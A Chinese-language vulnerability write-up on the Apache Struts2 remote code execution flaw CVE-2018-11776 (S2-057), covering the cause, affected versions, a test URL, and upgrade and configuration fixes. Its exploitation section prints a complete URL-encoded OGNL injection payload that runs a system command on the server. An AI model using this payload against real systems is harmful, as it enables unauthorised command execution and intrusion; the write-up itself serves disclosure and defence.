Struts2远程代码执行漏洞CVE-2018-11776

1.漏洞描述

Apache Struts框架是一个基于 Java Servlets,JavaBeans, 和 JavaServer Pages (JSP)的Web应用框架的开源项目,Struts基于Model-View-Controller (MVC)的设计模式,可以用来构件复杂的Web应用。它允许我们分解一个应用程序的商业逻辑、控制逻辑和表现逻辑的代码,使它的重用性和维护性更好。Struts框架是Jakarta工程的一部分,由Apache软件基金会管理。 定义struts-actionchaining.xml配置时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使用通配符namespace,从而导致远程代码执行漏洞的发生。

# 2.漏洞原理

当struts.mapper.alwaysSelectFullNamespace设置为true,并且package标签页以及result的param标签页的namespace值的缺失,或使用了通配符时可造成namespace被控制,最终namespace会被带入OGNL语句执行,从而产生远程代码执行漏洞

# 3.影响范围

Apache Struts 2.3 – Struts 2.3.34
Apache Struts 2.5 – Struts 2.5.16

# 4.漏洞利用

触发此漏洞的前提是:

1,使用了Struts 2.3 - Struts 2.3.34,Struts 2.5 - Struts 2.5.16版本的Struts2的框架

2.struts-actionchaining.xml配置文件中的中没有为namespace赋值,并且配置了重定向

测试是否存在漏洞http://172.26.1.151:8080/struts2-showcase/${(111+111)}/actionChain1.action 

image.png

 访问触发OGNL表达式,url变为/222/,存在漏洞。

漏洞利用,执行“ifconfig”

/%24%7B%28%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23w%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ifconfig%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/actionChain1.action

image.png

# 5.漏洞防御

• 目前Apache官方已经在发布的新版本中修复了该漏洞,建议用户及时下载最新版本(2.3.35或2.5.17版本)。 http://archive.apache.org/dist/struts/

• 官方提供的临时解决方案:当上层动作配置中没有设置或使用通配符namespace时,验证所有XML配置中的namespace,同时在JSP中验证所有url标签的value和action。

# 6.Reference

https://github.com/Ivan1ee/struts2-057-exp/ https://github.com/brianwrf/S2-057-CVE-2018-11776 https://www.freebuf.com/vuls/182101.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值